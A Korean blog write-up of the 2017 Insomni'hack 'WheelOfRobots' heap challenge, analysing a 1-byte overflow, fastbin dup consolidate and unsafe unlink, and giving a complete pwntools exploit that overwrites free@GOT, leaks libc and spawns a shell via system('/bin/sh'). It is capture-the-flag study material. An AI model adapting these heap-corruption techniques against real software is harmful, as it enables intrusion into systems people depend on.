[ Pwnable ] 2017 Insomni'hack WheelOfRobots write-up 본문

Pwnable/Heap

[ Pwnable ] 2017 Insomni'hack WheelOfRobots write-up

disso1p1 2021. 2. 19. 01:32

 

 

 

 

[ 메모리 보호기법 ]

 

 

 

[ source code ]

 

# Alloc() 함수

- 크기별로 힙에 동적 할당을 하는 함수

- 한 케이스는 하나만 사용 가능

- 최대 3개까지 만들 수 있음

- opt 입력 받을 때 1byte Overflow 발생

int_input() 함수의 두번째 인자로 5를 주어 1byte Overflow를 발생시킬 수 있음

 

할당 돼있는지 확인하는 check_2를 변조시킬 수 있음 

 

# Free() 함수

- Alloc() 함수로 할당한 청크를 free 하는 함수

- check_flag 때문에 double free 불가능

 

# Write_() 함수

- Alloc() 함수로 할당한 청크에 문자열 입력하는 함수

- 마찬가지로 check_flag 때문에 UAF 불가능

 

 

# Print_() 함수

- Alloc() 함수로 할당한 청크의 데이터를 출력하는 함수

- 랜덤으로 청크를 골라 출력

- 출력 후 exit() 함수로 종료

 

 

 

 

[ 공격 루틴 ]

1. alloc() 함수의 1byte Overflow 를 이용하여 check_2를 변조한 후 Fastbin Dup Consolidate 발생 → prev_inuse를 0으로 유지

2. fake chunk를 만들고 다음청크의 prev_size를 변조

3. 1번, 2번으로 Unsafe Unlink 기법 사용 가능

2021/02/17 - [Pwnable/Heap] - [ Pwnable ] HITCON CTF 2014-stkof write-up 와 같음 ( oneshot 대신 system("/bin/sh"); 실행 )

 

 

 

 

[ Exploit ]

from pwn import *

context.log_level = 'debug'

binary = './WheelOfRobots'
p = process(binary)
e = ELF(binary)
libc = e.libc


sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
rvu = lambda x : p.recvuntil(x)


def Alloc(opt, size):
    sla(': ', '1')
    sla(':', str(opt))
    if opt==2 or opt==3 or opt==6:
        sla(': ', str(size))

def Free(opt):
    sla(': ', '2')
    sla(':', str(opt))

def Write(opt, data):
    sla(': ', '3')
    sla(':', str(opt))
    sa(': ', data)
    sleep(0.1)

def Print_():
    sla(': ', '4')


heap_pointer_2 = 0x6030F0

Alloc(2, 2) 
Alloc(3, 15)

Free(2)

#Alloc
sla(': ', '1')
sa(':', '\x34\x00\x00\x00\x01') # check_2 dup into 1

Free(2) # one more Free!! fastbin dup consolidate


Alloc(2, 2)

# fake chunk
pay = '' 
pay += p64(0)*2 # header
pay += p64(heap_pointer_2-0x18) # fd
pay += p64(heap_pointer_2-0x10) # bk
pay += p64(0x20) # prev_size
Write(2, pay)

Free(3) # unsafe_unlink!!!

pay = ''
pay += p64(0) # dummy
pay += p64(e.got['free']) # heap_pointer_4
pay += p64(0) # heap_pointer_6
pay += p64(e.got['puts']) # heap_pointer_2
Write(2, pay) 

Write(4, p64(e.plt['puts'])) # free@got dup into puts@plt

Free(2)

# libc leak
libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))


Write(4, p64(libc_base+libc.symbols['system'])) # free@got dup into system@plt

Alloc(5, 0)
Write(5, '/bin/sh\x00')

Free(5) # system("/bin/sh"); !!


p.interactive()

 

 

 

모르는 점

마지막에 "/bin/sh" 문자열을 넣기 위해 Alloc() 함수의 5번 옵션을 사용하였는데, 1번 옵션으로 fastbin 으로 만들면 corrupted size vs. prev_size 에러가 난다. 어떻게 하면 우회할 수 있을지 모르겠다.

 

 

 

'Pwnable > Heap' 카테고리의 다른 글

Heap에서 발생하는 엄청난 트릭들  (0) 2022.01.11
[ Pwnable ] HITCON CTF 2014-stkof write-up  (0) 2021.02.17
[ Practice ] tcache dup_1  (0) 2021.02.15
[ Practice ] The House of Spirit_1  (0) 2021.02.15
[ Practice ] fastbin dup_1  (0) 2021.02.15
Comments